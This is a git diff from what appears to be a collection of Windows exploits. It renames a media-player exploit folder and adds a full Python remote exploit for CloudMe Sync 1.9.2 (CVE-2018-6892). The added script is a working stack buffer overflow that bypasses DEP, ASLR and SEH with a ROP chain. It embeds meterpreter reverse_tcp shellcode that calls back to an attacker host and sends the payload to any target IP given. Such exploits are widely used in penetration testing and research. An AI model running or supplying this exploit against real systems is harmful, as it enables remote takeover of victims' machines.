diff --git a/windows/x86/local/Triologic Media Player 8/Triologic_Media_Player_v.8.py b/windows/x86/local/Triologic_Media_Player_v.8/Triologic_Media_Player_v.8.py
similarity index 100%
rename from windows/x86/local/Triologic Media Player 8/Triologic_Media_Player_v.8.py
rename to windows/x86/local/Triologic_Media_Player_v.8/Triologic_Media_Player_v.8.py
diff --git a/windows/x86/local/Triologic Media Player 8/triomp8setup.exe b/windows/x86/local/Triologic_Media_Player_v.8/triomp8setup.exe
similarity index 100%
rename from windows/x86/local/Triologic Media Player 8/triomp8setup.exe
rename to windows/x86/local/Triologic_Media_Player_v.8/triomp8setup.exe
diff --git a/windows/x86/remote/CloudMe_Sync_v.1.9.2/CloudMe_192.exe b/windows/x86/remote/CloudMe_Sync_v.1.9.2/CloudMe_192.exe
new file mode 100644
index 0000000..e97202d
Binary files /dev/null and b/windows/x86/remote/CloudMe_Sync_v.1.9.2/CloudMe_192.exe differ
diff --git a/windows/x86/remote/CloudMe_Sync_v.1.9.2/CloudMe_Sync_v.1.9.2.py b/windows/x86/remote/CloudMe_Sync_v.1.9.2/CloudMe_Sync_v.1.9.2.py
new file mode 100644
index 0000000..8959aa8
--- /dev/null
+++ b/windows/x86/remote/CloudMe_Sync_v.1.9.2/CloudMe_Sync_v.1.9.2.py
@@ -0,0 +1,126 @@
+"""
+Exploit title:      CloudMe Sync 1.9.2 - Stack Buffer Overflow (SEH,DEP,ASLR bypass)
+Exploit Author:     Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
+Date:               29/06/2020
+Vendor Homepage:    https://org.cloudme.com/
+Download:           https://org.cloudme.com/en/sync
+Affected Version:   < 1.11.0
+CVE:                CVE-2018-6892
+Tested on:          Windows 10 Pro x64 v.1909 Build 18363.418
+Category:           remote exploits
+Platform:           windows
+Usage:              CloudMe_Sync_v.1.9.2.py TARGET_IP 8888
+"""
+#!/usr/bin/python
+import sys, socket, time, struct, argparse
+
+parser = argparse.ArgumentParser(prog="CloudMe_Sync_v.1.9.2.py", description="CloudMe Sync < 1.11.0 RCE exploit")
+parser.add_argument("-t", "--target", required=True, dest="target", help="Target IP Address")
+parser.add_argument("-p", "--port", default=8888, type=int, dest="port", help="Target TCP Port")
+args = parser.parse_args() 
+
+host = args.target
+port = args.port
+
+print("CloudMe Sync < 1.11.0 RCE exploit by VoidSec")
+
+# |                                                             buf(2928)                                                          |
+# | filler(1068) | ROP Chain(68)| stack_adj(6) | shellcode(344) | filler(1434) | nSEH(4) | SEH(4) | can append data here if needed |
+
+# BAD CHARS: None!
+# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.206.1 exitfunc=seh -f python -v shellcode
+shellcode =  b""
+shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
+shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
+shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
+shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
+shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
+shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
+shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
+shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
+shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
+shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
+shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
+shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
+shellcode += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
+shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89"
+shellcode += b"\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
+shellcode += b"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68"
+shellcode += b"\xc0\xa8\xce\x01\x68\x02\x00\x11\x5c\x89\xe6"
+shellcode += b"\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
+shellcode += b"\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99"
+shellcode += b"\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e"
+shellcode += b"\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a"
+shellcode += b"\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
+shellcode += b"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
+shellcode += b"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff"
+shellcode += b"\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
+shellcode += b"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68"
+shellcode += b"\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f"
+shellcode += b"\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5"
+shellcode += b"\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff"
+shellcode += b"\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
+shellcode += b"\xc3\xbb\xfe\x0e\x32\xea\x6a\x00\x53\xff\xd5"
+shellcode += b"\x6a\x00\xc3"
+
+buf_max_size = 2928
+stack_pivot_ret = 1052
+rop_offset = 1068
+seh_offset = 2920
+
+buf = ""
+buf += "A" * stack_pivot_ret # filler until we populate stack pivot ret
+buf += struct.pack("<I", 0x005f7b0c) # POP EAX # RETN [CloudMe.exe]
+buf += "A" * (rop_offset-len(buf))
+def create_rop_chain():
+
+    # rop chain generated with mona.py - www.corelan.be
+    rop_gadgets = [
+      #[---INFO:gadgets_to_set_esi:---]
+      #0x005f7b0c,  # POP EAX # RETN [CloudMe.exe] 
+      0x68c848d8,  # ptr to &VirtualProtect() [IAT Qt5Core.dll]
+      0x006f8f95,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [CloudMe.exe] 
+      0x67516e4e,  # XCHG EAX,ESI # RETN [icuuc49.dll] 
+      #[---INFO:gadgets_to_set_ebp:---]
+      0x6198365a,  # POP EBP # RETN [Qt5Gui.dll] 
+      0x688bfbdd,  # & call esp [Qt5Core.dll]
+      #[---INFO:gadgets_to_set_ebx:---]
+      0x69785753,  # POP EBX # RETN [Qt5Network.dll] 
+      0x00000201,  # 0x00000201-> ebx
+      #[---INFO:gadgets_to_set_edx:---]
+      0x68abec04,  # POP EDX # RETN [Qt5Core.dll] 
+      0x00000040,  # 0x00000040-> edx
+      #[---INFO:gadgets_to_set_ecx:---]
+      0x10069439,  # POP ECX # RETN [LIBEAY32.dll] 
+      0x61c7d98e,  # &Writable location [Qt5Gui.dll]
+      #[---INFO:gadgets_to_set_edi:---]
+      0x68a9609b,  # POP EDI # RETN [Qt5Core.dll] 
+      0x1008df82,  # RETN (ROP NOP) [LIBEAY32.dll]
+      #[---INFO:gadgets_to_set_eax:---]
+      0x1006b18b,  # POP EAX # RETN [LIBEAY32.dll] 
+      0x90909090,  # nop
+      #[---INFO:pushad:---]
+      0x68890db5,  # PUSHAD # RETN [Qt5Core.dll] 
+    ]
+    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
+buf += create_rop_chain()
+buf += "\x81\xc4\x24\xfa\xff\xff"   # stack adjustment for meterpreter GetPC routine; add esp, -1500
+buf += shellcode
+buf += "D" * (seh_offset-len(buf))
+buf += "CCCC"   # nSEH
+buf += struct.pack("<I", 0x61af5d3e)   
+# 0x61b89104 : {pivot 1468 / 0x5bc} :  # ADD ESP,5AC # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [Qt5Gui.dll] **   |   {PAGE_EXECUTE_READ}
+# A ret 0x000C will remove three memory addresses off of the stack. First, the return instruction takes the current stack pointer at the time of the ret 0x000C instruction (which would be the next ROP gadget in the chain) and loads it into EIP. EIP then executes that address as normally.
+
+# SEH 0x67569e50 : pop eax # pop edi # ret  |  {PAGE_EXECUTE_READ} [icuuc49.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\CloudMe\CloudMe\icuuc49.dll)
+# ESP exception handler: 00BCCA40
+# buff on stack: 00BCCFC0
+# stackpivot h 580 - d 1408
+
+buf += "D" * (buf_max_size - len(buf))
+
+client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+client.connect((host, port))
+print("[+] Sending the exploit: {} bytes".format(len(buf)))
+client.send(buf)
+client.close()
\ No newline at end of file